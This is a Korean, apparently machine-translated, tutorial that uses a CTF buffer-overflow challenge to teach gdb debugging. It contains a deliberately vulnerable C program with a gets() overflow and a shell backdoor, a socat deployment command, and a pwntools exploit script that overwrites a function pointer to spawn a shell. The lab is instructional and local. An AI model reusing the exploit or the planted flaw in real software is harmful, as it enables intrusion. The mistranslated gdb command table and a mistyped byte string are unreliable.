목차
처음에 쓰다
최근에 pwn을 다시 배우기 시작했는데 스테이션B의 국영사회동물 사장님 영상을 보고 사장님의 설명을 토대로 요약을 하고 제 생각을 좀 추가해봤습니다. pwn을 배우는 것은 주로 메모리 레이아웃과 프로그램 실행 과정을 이해하는 것과 관련이 있는데, 학습 경로가 참으로 험난하다고 느낍니다. 앞으로 이 시리즈를 수시로 업데이트하겠습니다.
이 기사에서는 주로 프로그램의 디버깅 프로세스를 예로 들어 gdb 디버거의 일반적인 명령을 소개하고 소위 "오버플로" 커버리지의 효과와 크고 작은 엔디안 문제를 직관적으로 표시합니다. . 관련된 지식 포인트는 다음과 같습니다. pwn 질문 환경 배포, gdb 디버깅을 위한 일반 명령, 빅 및 스몰 엔디안의 영향, pwn 질문 해결을 위한 간단한 스크립트 작성 . 특히, 지면의 제약으로 인해 이 글에서는 어셈블리 명령어와 프로그램 실행 시 함수 호출 스택의 변경 과정을 너무 많이 소개하지 않을 것입니다. 해당 내용은 차후 블로그에서 소개될 수 있으며, 이 글의 초점은 gdb를 사용하여 프로그램을 디버깅하는 것입니다. 이 기사에 필요한 도구에는 주로 gdb 및 pwntools가 포함됩니다. 독자가 따라하고 재현하려면 gdb 및 pwntools만 있으면 됩니다. 설치 프로세스에 대한 자세한 내용은 다음을 참조하세요.
pwn 시작하기(1): kali 구성 관련 환경(pwntools+gdb+peda)_gdb 플러그인 peda-CSDN 블로그
참고: 기사 마지막 부분에 일반적인 gdb 지침을 요약했습니다. 필요한 독자는 기사 끝 부분까지 직접 읽을 수 있습니다.
1. PWN 질문 환경 구축
이 부분은 디버깅 프로세스의 전제 조건입니다. pwn 환경을 로컬로 배포하려면 socat을 사용하여 로컬 포트를 열어 pwn 질문을 실행하세요(자세한 내용은 아래 참조). 물론 독자들이 gdb만 알고 있다면 그렇게 생각할 필요 없이 그냥 p = process(./file)만 사용하면 된다. ubuntu, kali 등의 시스템 배포 환경과 디버거를 사용하는 것이 좋습니다.
먼저 "오버플로" 취약점이 있는 바이너리 파일을 빌드해야 합니다. 여기서 우리는 국영 사회 및 축산업 사장이 제공한 질문.c 파일을 사용할 수 있으며 그 내용은 다음과 같습니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int func(char *cmd){
system(sh);
return 0;
}
int main(){
init_func();
volatile int (*fp)();
fp=0;
int a;
puts("input:");
gets(&a); //gets没有对输入字符的长度做限制,存在溢出
if(fp){
fp();
}
return 0;
}
그런 다음 gcc를 사용하여 이 파일을 컴파일하여 취약점이 있는 바이너리 파일을 생성합니다. 컴파일 프로세스 중에는 파이 보호를 꺼야 합니다. 명령은 다음과 같습니다.
gcc question.c -no-pie -o question1
다음은 PIE 보호에 대한 간략한 설명입니다(이 기사의 초점은 아님).
1. 컴파일 중에는 PIE 보호가 기본적으로 활성화됩니다. 파이 보호를 끄려면 -no-pie 매개변수를 수동으로 추가해야 합니다.
2.PIE (위치 독립적 실행 가능) 은 주소 독립적 실행 프로그램을 생성하는 기술입니다. 이는 보호 메커니즘으로, 프로그램이 PIE 보호를 켜면 프로그램이 로드될 때마다 로드된 기본 주소가 변경됩니다. 물론 이 메커니즘은 로컬 디버깅 프로그램에 도움이 되지 않으므로 여기서는 꺼집니다.
다음으로, 의식의 느낌을 강화하기 위해 현재 디렉터리에 새 파일 플래그를 생성할 수 있습니다. 이 플래그를 얻는 것은 문제를 성공적으로 해결하는 것과 같습니다.
그런 다음 socat을 사용하여 포트 8888을 열어 이 질문을 배포합니다.quest1. 물론, 사용되지 않은 다른 포트를 사용할 수도 있습니다.
socat tcp-l:8888,fork exec:./question1,reuseaddr
그런 다음 새 터미널(ctrl+shift+t)을 열고 nc를 사용하여 이 주제에 연결할 수 있는지 확인하십시오. 아래와 같이 연결이 성공합니다.
문자열을 입력하고 효과를 확인하면 괜찮은 것 같습니다.
2. 문제 해결 아이디어(주안점이 아님)
문제 해결의 관점에서 생각해보면 바이너리 파일만 얻을 수 있고 소스 코드를 볼 수는 없습니다. 물론 ida에 넣어서 분석할 수도 있고, 디스어셈블리 도구를 이용해 의사 소스 코드를 본 후 천천히 분석할 수도 있습니다. 하지만 이 글의 초점은 gdb를 사용하여 프로그램을 디버깅하는 것이기 때문에 위의 소스 코드에서 직접 취약점이 발생하는 위치에 대한 간략한 분석은 다음과 같습니다.
1. 오버플로 지점: 코드에 위험한 함수 gets()가 있습니다. gets 함수는 사용자 입력을 얻기 위해 사용되며 입력되는 문자 수를 제한하지 않으므로 오버플로되어 다른 메모리를 덮을 수 있습니다.
2. 백도어 기능: func라는 백도어 기능이 있는데, 이 기능을 이용하면 쉘을 획득할 수 있는데, 이 기능을 실행시킬 수 있는 방법을 찾아야 합니다.
3. 함수 포인터 fp. 원래 논리는 함수 포인터 fp를 정의한 다음 fp 포인터를 0으로 설정하는 것입니다. if 문은 항상 거짓입니다. fp가 주소를 가리키도록 fp 포인터의 값을 수정할 수 있다면 백도어 함수 func의 경우 getshell을 사용할 수 있으며 fp 포인터의 값은 gets 함수의 입력으로 덮어쓸 수 있으므로 우리가 제어할 수 있습니다.
3. gdb 디버깅 프로세스(핵심 사항)
실행 중인 프로세스 완료(실행)
먼저 이 바이너리 파일을 다른 폴더에 복사합니다. (지금은 디렉토리에서 직접 조작할 수도 있습니다. 단지 의식적인 느낌을 갖고 싶을 뿐이고 문제 해결 및 디버깅을 위한 디렉토리가 배포와 동일하기를 원하지 않습니다. 문제 디렉토리) 아래 그림의 bin은 이전의 bin입니다. 질문 1의 경우 이름을 변경했습니다.
그런 다음 gdb로 디버깅을 시작하고 명령을 직접 실행하십시오.
gdb ./bin
이 파일을 직접 실행하여 효과를 확인할 수 있습니다. 먼저 run을 입력한 다음 아래와 같이 abc와 같은 매우 짧은 문자열을 입력합니다.
실행 명령은 현재 프로그램을 처음부터 끝까지 실행한다는 것을 알 수 있는데(현재 오버플로는 없습니다), 그렇다면 오버플로가 발생하면 어떻게 될까요? 다시 실행해 보겠습니다. 이번에는 오버플로를 보장하기 위해 매우 긴 문자열을 입력합니다.
위 그림과 같이 현재 프로그램에서 분할 오류가 발생했음을 나타냅니다. 그런 다음 현재 명령어가 어디에서 실행되고 있는지 알고 싶고 rip 레지스터를 통해 찾을 수 있습니다. x64 아키텍처에서 rip 레지스터는 현재 실행 중인 명령어의 주소를 가리킵니다. 다음 명령을 사용하여 현재 실행 중인 위치를 확인할 수 있습니다.
x/20i $rip
x는 메모리의 내용을 보는 데 사용되며, /20i는 어셈블리 형식(i)으로 표시되는 20개의 명령어를 보는 것을 의미합니다. rip 레지스터는 현재 실행된 명령어의 주소를 저장하므로 x/20i $rip은 현재 프로그램이 어떤 명령어를 실행했는지 확인할 수 있습니다.
call rdx 명령어가 실행될 때 문제가 발생하는 것을 알 수 있는데, rdx 레지스터가 가리키는 주소에 문제가 있어야 하며 분할 오류가 발생한다. 방금 gets 함수를 통해 입력한 문자가 너무 길기 때문인데, 일련의 작업 끝에 rdx 레지스터의 값이 결국 문제를 일으키고 의미 없는 주소를 가리켰기 때문입니다. 프로그램으로 돌아가서 다시 디버그하세요.
프로그램 디버깅(핵심 사항)
프로그램 시작 부분까지 실행
종료하려면 q를 입력하세요. 프로그램을 다시 디버깅합니다. 이번에는 start를 사용하여 프로그램 실행을 시작합니다.
run 명령은 프로그램을 완전히 실행하는 반면, start 명령은 일반적으로 주 기능의 시작 부분인 프로그램의 진입점까지 먼저 실행됩니다. 이 위치에서 rip을 사용하여 현재 명령어의 포인팅 위치를 찾습니다.
물론 동일한 효과를 갖는 기본 어셈블리 소스 코드를 직접 볼 수도 있습니다.
disassemble main
즉, 프로그램의 주요 기능의 시작 부분까지 실행됩니다. 이전에 실행으로 인해 오버플로가 발생했을 때 프로그램이 rdx 명령어 호출에서 중지되었다는 점을 기억하십시오. 그러면 누가 rdx 명령어의 값을 할당했습니까? 우리는 두 줄을 찾아 mov rdx, QWORD 명령어가 있음을 찾을 수 있습니다. PTR[rbp-0x10]은 rbp-0x10 주소의 값을 rdx에 할당합니다.
중단점 설정
rdx에 값을 할당하는 명령어의 주소가 0x0000000000401293임을 알 수 있으며, 이 명령어의 주소에 중단점을 설정할 수 있습니다.
b *0x0000000000401293
다음 명령을 사용하여 중단점을 볼 수 있습니다.
i b
이 중단점은 d 2 명령을 사용하여 삭제할 수 있습니다. 여기서 2는 중단점 번호(num)입니다.
이 중단점을 재설정합니다. 일반적으로 프로그램을 디버깅할 때 중단점을 삭제할 필요가 없습니다. 중단점을 닫으면 됩니다. 중단점을 닫고 활성화하는 명령은 다음과 같습니다.
disable b 2
enable b 2
즉, mov rdx,QWORD PTR[rbp-0x10] 명령어에 중단점을 설정한 다음 c 또는 continue 명령어를 사용하여 프로그램을 계속 실행합니다. 프로그램은 중단점 위치까지 실행되고 중지됩니다.
c
중단점까지 실행하기 전에 문자열을 입력하라는 메시지가 나오는데, 상대적으로 긴 문자열 abcdefghijk를 입력하여 Overflow를 구성한 다음(이때 이 문자열이 Overflow되는지 알 수 없으므로 아래에서 자세히 설명합니다.) 엔터 키를 치시오. 다시 립 주소 지정을 사용하면 확실히 중단점 위치에 도달합니다. 다음 명령어는 rbp-0x10 주소(QWORD는 8바이트)부터 시작하는 8바이트를 rdx에 할당하는 것입니다. 하지만 다시 시작하기 전에 메모리를 살펴봐야 합니다.
추억 보기
이전에는 x/20i $rip을 통해 메모리를 보려고 했습니다. 이번에 집중적으로 살펴보고 싶은 것은 rbp-0x10 이며, 이는 다음 명령어로 볼 수 있습니다:
x/20g $rbp-0x10
이 명령의 목적은 $rbp 레지스터에서 16바이트(0x10)를 뺀 주소에서 시작하여 20개의 긴 배정밀도 부동 소수점 숫자를 보는 것입니다. 결과는 다음과 같습니다.
ASCII 코드에 민감한 경우 16진수로 65, 66, 67, 68을 찾을 수 있습니다... 이 숫자(예: 101, 102,...십진수)는 방금 입력한 efgh여야 합니다..., 이 그림은 또한 리틀 엔디안 디스플레이를 반영할 수 있습니다. 즉, \x65의 주소는 0x7fffffffdf20입니다. 그렇게 빠르지는 않을 수도 있습니다. rbp-0x20의 위치(즉, 16바이트 앞)를 살펴보겠습니다.
x/20g $rbp-0x20
위 그림과 같이 이 응답에서는 우리가 입력한 문자 a(즉, 0x61)가 메모리 내 어디에 위치하는지와 전체 문자열의 리틀 엔디안 배열 과정을 명확하게 알 수 있어야 합니다. (a는 0x61 등에 해당함) [rbp-0x10]의 값이 func 함수의 주소가 되기를 원한다면 주소 0x7fffffffdf20의 값(즉, 위치 위 그림의 \x65부터 시작)은 func 함수의 주소입니다.
주소 값 수정
로컬 디버깅 과정에서 set 명령을 사용하여 주소 값을 수동으로 강제로 변경할 수 있습니다.예를 들어 여기서 주소 0x7fffffffdf20의 값을 func 함수의 주소로 설정할 수 있습니다. 먼저 p 명령어를 사용하여 func 함수의 주소를 찾습니다.
p &func
func 함수의 주소가 0x40121f라는 것을 알 수 있으며, set 명령어를 강제로 사용하여 0x7fffffffdf20의 값을 0x40121f로 수정합니다.
set *0x7fffffffdf20=0x40121f
메모리를 다시 확인하여 주소 값이 실제로 수정되었음을 확인했지만 0x7fffffffdf24에서 시작하는 내용은 여전히 원본\x69\x6a\x6b이며 덮어쓰지 않았습니다. 이는 주로 데이터 유형의 크기 때문입니다. , 결과적으로 낮은 4바이트만 포함됩니다. 여기서는 0x7fffffffdf24부터 시작하는 4바이트를 0으로 설정합니다.
set *0x7fffffffdf24=0
이 경우 rbp-0x10 주소에서 시작하는 8바이트가 func 함수의 주소로 설정되고 프로그램의 실행 위치로 돌아갑니다.
다음으로 mov rdx,QWORD PTR [rbp-0x10] 명령을 실행하면 func의 주소에 rdx의 값이 할당됩니다.
단일 단계/뷰 레지스터
다음으로 프로그램을 단계별로 실행하여 디버깅합니다. 프로그램을 한 단계씩 실행하는 경우 먼저 등록 상태를 확인합니다.
i r
위 그림과 같이 이때 rdx는 여전히 0이고 rip은 다음 명령어의 주소, 즉 mov rdx, QWORD PTR [rbp-0x10] 명령어의 주소를 가리킨다. ni 명령어를 통해 프로그램을 단계별로 실행하고 다음 명령어를 실행합니다.
ni
위 그림과 같이 mov rdx,QWORD PTR [rbp-0x10]이 실행되었으며, 레지스터 값을 다시 확인합니다.
물론 이번에는 rdx가 수정되었는데, 메인 함수의 실행 과정을 다시 살펴보겠습니다.
disassemble main
이 시점에서 두 줄의 명령을 더 실행하면 call rdx가 실행됩니다. 이는 백도어 함수 func를 호출하는 것과 동일하며 쉘을 얻을 수 있습니다. ni를 두 번 실행하면 쉘을 얻을 수 있습니다.
좋아요! 물론이죠, 쉘을 얻었습니다. 그런데 gdb 명령어 ni와 si의 차이점은 다음과 같습니다. ni는 다음 명령어를 의미하고 si는 단일 단계 작업을 의미합니다. 즉, ni가 함수 호출을 만났을 때 , 함수를 직접 실행하는 반면, si는 함수에 들어가서 단계별로 실행합니다. 이때는 func를 호출해서 직접 완성하기를 바라기 때문에 ni 명령어를 이용하는 것이 더 빠르며, 물론 si를 이용하여 함수를 입력한 후 실행할 수도 있습니다.
4. Python 스크립트 작성
문제 해결 관점에서 볼 때 합리적인 오버플로를 구성하는 한 입력의 5번째 바이트부터 rbp-0x10 주소로 오버플로되므로 페이로드는 "a"*4 + func가 될 수 있습니다. 기능. 불행하게도 func 함수의 주소 0x40121f에 해당하는 \x40\x12lx1f 바이트에는 눈에 보이는 문자 대응이 없으므로(즉, 0x61은 문자 a에 해당하고 0x65는 문자 e에 해당) 페이로드는 구성만 가능합니다. Python 스크립트 방식을 통해 특정 주소의 적용 범위를 완료합니다. 작성된 python3 스크립트 exp-pwn.py는 다음과 같습니다.
from pwn import *
p = remote("127.0.0.1", 8888) #连接题目部署的环境,相当于nc 127.0.0.1 8888
p.recv() #接受程序输出的"input"字符串
func_addr = 0x40121f #func函数的地址
#payload = b"a"*4 + p64(addr) #可以这么写,用pwntools中的p64函数会自动设置成小端序,不过为了理解更深刻,还是用下面这行
payload = b'a' * 4 + b"\x1f\x12\x40\x00\x00\x00\x00\x00" #小端序构造溢出
p.send(payload) #将payload发送给程序
p.interactive()
리틀 엔디안 순서를 이해하는 데 특별한 주의를 기울이십시오. 다음 프로그램을 실행하면 쉘을 얻을 수 있습니다:
이 셸의 현재 위치는 질문 배포 환경의 위치입니다. 이는 취약한 프로그램 a.out을 통해 대상 시스템의 쉘을 얻는 것과 동일합니다. 물론, 실제 ctf도 플래그를 읽어야 합니다!
요약 및 반성
이 기사에서는 gdb를 사용하여 프로그램을 디버깅하는 과정을 자세히 설명하기 위해 pwn 질문을 예로 들어 설명합니다. 질문 자체는 어렵지 않습니다. 초점은 gdbd 디버깅 프로세스에 있습니다. 매우 강력한 디버거로서 gdb는 pwn 문제를 해결하는 데 매우 유용합니다. 프로그램을 디버깅하는 방법(단일 단계 실행, 중단점 설정, 메모리 보기, 레지스터 보기, 주소 값 수정 등)을 이해해야 합니다. 여기에 요약했습니다. gdb의 일반적인 명령 표는 다음과 같습니다.
사용 | 지침 | 설명하다 |
프로그램 실행 | 달리다 | 프로그램을 처음부터 완전히 실행 |
프로그램 시작 부분까지 실행 | 시작 | 진입점(보통 주 함수 진입점)까지 실행 |
단일 단계 지시 | 그리고 | 프로그램을 한 단계씩 실행하고 함수 호출이 발생하면 함수를 입력합니다. |
다음 명령 | ~에 | 다음 명령어를 실행하세요. 함수가 발견되면 바로 실행됩니다. |
중단점 설정 | b*주소 | 주소에 중단점 설정(기본적으로 활성화됨) |
중단점 보기 | 나 b | 모든 현재 중단점 나열(활성화/비활성화) |
중단점 삭제 | d b 중단점 번호 | 중단점 삭제 |
중단점 끄기 | b 중단점 번호 비활성화 | 중단점 설정 해제(활성화되지 않음) |
중단점 활성화 | b 중단점 번호 활성화 | 중단점을 활성화로 설정 |
편집 | 메인을 분해하다 | 전체 메인을 조립하고 현재 작동 지침을 관찰하십시오. |
메모리 수정 | *주소=값 설정 | 주소에 저장된 값을 강제로 수정 |
추억 보기 | x/20i $rip | 현재 프로그램에서 $rip 레지스터가 가리키는 주소에서 시작하는 20개의 어셈블리 명령어 보기 |
x/20g 주소 | 20줄을 보여주는 주소 내용을 봅니다. 각 줄은 8바이트입니다. | |
x/20b 주소 | 주소 내용 보기, 20줄 표시, 각 줄은 1바이트 | |
p$등록 | 레지스터에 저장된 값 보기 | |
p*주소 | 주소에 저장된 값 보기 | |
p &func | func 함수의 주소 보기 |
요즘 고민이 많아요 업무상 pwn을 빨리 해야겠네요 앞으로 pwn에 관한 지식을 업데이트 할 수도 있겠네요 다들 좋아요와 팔로우, 응원 부탁드립니다 궁금한 점 있으시면 댓글도 달고 지적도 가능해요 제가 아는 건 다 알려드릴게요.